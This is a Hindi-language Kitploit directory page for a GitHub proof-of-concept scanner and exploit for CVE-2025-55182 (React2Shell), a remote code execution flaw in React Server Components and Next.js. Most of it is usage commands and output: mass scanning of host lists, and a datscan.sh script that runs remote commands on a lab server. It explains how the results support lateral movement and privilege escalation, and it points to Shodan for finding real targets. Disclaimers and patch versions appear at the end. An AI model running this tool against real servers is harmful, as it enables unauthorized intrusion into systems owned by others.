Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
React2Shell-PoC-CVE-2025-55182 — CVE-2025-55182 (React2Shell) RCE भेद्यता के लिए PoC स्कैनर और एक्सप्लॉइट React सर्वर घटकों में। अधिकृत सुरक्षा परीक्षण के लिए कमजोर सर्वरों का पता लगाता है और दूरस्थ कमांड निष्पादित करता है। | Kitploit
उपकरण/GitHubGitHub/litndat/react2shell-poc-cve-2025-55182
टोहीभेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षारिमोट एक्सेस टूललैब और अभ्यास
GitHublitndat/react2shell-poc-cve-2025-55182

React2Shell-PoC-CVE-2025-55182

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 (React2Shell) RCE भेद्यता के लिए PoC स्कैनर और एक्सप्लॉइट React सर्वर घटकों में। अधिकृत सुरक्षा परीक्षण के लिए कमजोर सर्वरों का पता लगाता है और दूरस्थ कमांड निष्पादित करता है।

रिपॉजिटरी देखें
2 महीने पहलेअभी तक समीक्षित नहीं

React2Shell शोषण सिमुलेशन (CVE-2025-55182)

नोट:

  • यह दस्तावेज़ केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है।
  • अनुमति के बिना सिस्टम पर हमला करने के लिए उपयोग न करें।

1. अवलोकन

CVE-2025-55182, जिसे React2Shell के रूप में भी जाना जाता है, एक गंभीर Remote Code Execution (RCE) भेद्यता है जो React Server Components (RSC) को प्रभावित करती है। यह क्लाइंट और सर्वर के बीच संवाद के लिए Flight प्रोटोकॉल का उपयोग करती है। जब क्लाइंट डेटा का अनुरोध करता है, तो सर्वर को एक payload प्राप्त होता है और वह इस payload का विश्लेषण करता है, जो हमलावर को दुर्भावनापूर्ण संरचनाएँ या मनमाना कोड डालने की अनुमति दे सकता है जिसे React मान्य मानता है।

विषयविवरण
गंभीरताCritical (CVSS 10.0)
प्रकारUnsafe Deserialization (CWE-502)
हमले की विधिRemote, no authentication required
प्रभावित संस्करण:React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 और Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6

2. कारण

सर्वर क्लाइंट से payload को पूरी तरह से मान्य (validate) किए बिना संसाधित करता है, जिससे हमलावर को अनुमति मिलती है:

  • दुर्भावनापूर्ण payload इंजेक्ट करने की
  • सर्वर पर कोड निष्पादित करने की
  • उपयोगकर्ता प्रमाणीकरण की आवश्यकता के बिना शोषण योग्य है, क्योंकि यह प्रमाणीकरण-पूर्व (pre-authentication) भेद्यता है।

इस भेद्यता से संबंधित शोषण गतिविधियाँ 5 दिसंबर 2025 से पाई गई हैं। अधिकांश सफल शोषण आक्रमण समूहों के मूल्यांकनों से उत्पन्न हुए हैं। Windows और Linux दोनों वातावरण प्रभावित हैं।

3. प्रयोग

स्थापना

root@kitploit:~
pip install -r requirements.txt

एक कमजोर (vulnerable) सर्वर को स्कैन करें:

root@kitploit:~
python3 scanner.py -u https://example.com

स्कैन करने के लिए पथ दर्ज करें (यहाँ मैंने अपनी कमजोर मशीन दर्ज की है http://192.168.10.1:3000)

image

प्राप्त परिणाम:

image
root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

इसके अलावा, आप अपने शोषण उद्देश्य के अनुसार अतिरिक्त स्कैन कर सकते हैं:

सर्वर सूची स्कैन करें:

root@kitploit:~
python3 scanner.py -l hosts.txt

कई थ्रेड्स के साथ स्कैन करें और परिणाम सहेजें:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

कस्टम हेडर के साथ स्कैन करें:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Windows लक्ष्यों को स्कैन करें:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

सुरक्षित साइड-चैनल पहचान विधि का उपयोग करें:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
image

जैसा कि आप देख सकते हैं, हम एक सुरक्षा भेद्यता का सामना कर रहे हैं, जिसका अर्थ है कि हमारा सर्वर हमलावर (Attacker) द्वारा हमला किए जाने के प्रति संवेदनशील है।


Nuclei

अब हम यह जाँचने के लिए Nuclei का उपयोग करेंगे कि उपरोक्त सर्वर में POC के साथ कौन सी भेद्यता मौजूद है या नहीं। यह सुविधा कस्टम अनुरोध भेजकर काम करती है, झूठे अलार्म (false positive) को कम करती है और समानांतर स्कैनिंग का समर्थन करती है।

root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000

प्राप्त परिणाम

root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
image

सिस्टम ने पता लगाया है कि यह सर्वर कमजोर है और CVE-2025-55182 भेद्यता द्वारा शोषण योग्य है। और इससे आप देख सकते हैं कि यह काफी खतरनाक और महत्वपूर्ण भेद्यता है, जिसके POC सोशल प्लेटफॉर्म पर बहुत अधिक मौजूद हैं। ☺☺☺

4. शोषण कैसे करें

आप देख सकते हैं कि उपरोक्त एप्लिकेशन में सुरक्षा भेद्यता के अस्तित्व की पुष्टि करने के लिए यह जानकारी पर्याप्त है। यह साबित करने के लिए कि इस एप्लिकेशन का दुरुपयोग करके दूरस्थ रूप से कमांड या कोड निष्पादित किया जा सकता है, मैं PoC शुरू करूँगा।

root@kitploit:~
chmod +x scanner.sh

उपयोग

root@kitploit:~
# जाँचें कि लक्ष्य कमजोर (vulnerable) है या नहीं
./datscan.sh -d example.com

# वर्तमान उपयोगकर्ता की जाँच के लिए कमांड निष्पादित करें
./datscan.sh -d example.com -c "whoami"

# पूर्ण URL के साथ
./datscan.sh -d example.com -c "uname -a"
image

अर्थ:

वह वर्तमान उपयोगकर्ता लौटाता है जो सर्वर प्रक्रिया चला रहा है

पहचानने में सहायता करता है:

  • एप्लिकेशन किस उपयोगकर्ता के अंतर्गत चल रहा है
  • अनुमति स्तर (निम्न विशेषाधिकार या व्यवस्थापक)

=> RCE की सफलता की पुष्टि करने के लिए यह सबसे बुनियादी कमांड है

नोट

  • -d, --domain - डोमेन/URL
  • -c, --command - निष्पादित की जाने वाली कमांड (जैसे: whoami, hostname,...)

उदाहरण

root@kitploit:~
# मशीन का नाम जाँचें
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# ऑपरेटिंग सिस्टम संस्करण निर्धारित करें
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# जाँचें कि कमांड निष्पादन स्थिर रूप से काम करता है या नहीं
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

निष्पादन के बाद उदाहरण चित्र

image

सफल शोषण के बाद यह प्रारंभिक टोही (initial reconnaissance) कदम है।

हमें पुष्टि करने में मदद करता है: RCE कार्य कर रहा है, ऑपरेटिंग सिस्टम की पहचान,...

ध्यान दें

चूँकि मैं इस प्रयोग को व्यक्तिगत लैब वातावरण में डेमो कर रहा हूँ ताकि कानूनी समस्याओं से बचा जा सके, इसलिए डेटा चोरी के लिए HTTP हेडर का उपयोग, बड़े आउटपुट या विशेष वर्ण निम्न कारण बन सकते हैं:

  • ERR_INVALID_CHAR
  • प्रतिक्रिया में कमी
  • टाइमआउट (Timeouts)
image

छोटे कमांड (जैसे: whoami, ver) उपरोक्त परीक्षण वातावरण में प्रदर्शित करने के लिए अधिक विश्वसनीय हैं।

यदि आप चाहें तो वास्तविक वातावरण में सीधे IP पतों की जाँच करने के लिए Shodan का उपयोग कर सकते हैं और शोषण के लिए मेरे उपरोक्त प्रयोग की तरह ही कर सकते हैं (अनुशंसित नहीं)।

image

जैसा कि ऊपर बताया गया है। यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। इस उपकरण का उपयोग उन प्रणालियों पर परीक्षण के लिए न करें जिनके स्वामी आप नहीं हैं या जिन पर परीक्षण का अधिकार नहीं है।

5. भेद्यता को ठीक करने के कुछ तरीके

  • क्लाइंट के डेटा पर भरोसा न करें
  • इनपुट को सख्ती से मान्य (validate) करें
  • संस्करण अपडेट करें
    • React: >= 19.0.1 / 19.1.2 / 19.2.1
    • Next.js: >= 15.0.5 / 16.0.7

6. अतिरिक्त संदर्भ

  • CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
टूल डाउनलोड करें
निष्पादित कमांड का अर्थविवरण
होस्ट नाम लौटाता हैइसका उपयोग:
- प्रभावित सिस्टम की पहचान करने के लिए
- लेटरल मूवमेंट (आंतरिक वातावरण में) के लिए
ऑपरेटिंग सिस्टम संस्करण निर्धारित करता हैइसके लिए महत्वपूर्ण:
- आगे के शोषण की संभावना का आकलन (privilege escalation)
- उपयुक्त एक्सप्लॉइट का चयन
कमांड निष्पादन की जाँच करता हैPayload / scanner डीबग करने के लिए
वर्तमान उपयोगकर्ता नाम लौटाता हैइस मामले में:
-उपयोगकर्ता ADMIN है → उच्च विशेषाधिकार हो सकते हैं
- कुछ Windows मामलों में whoami से अधिक महत्वपूर्ण
मशीन का नाम लौटाता हैenvironment variable के माध्यम से मशीन का नाम लौटाता है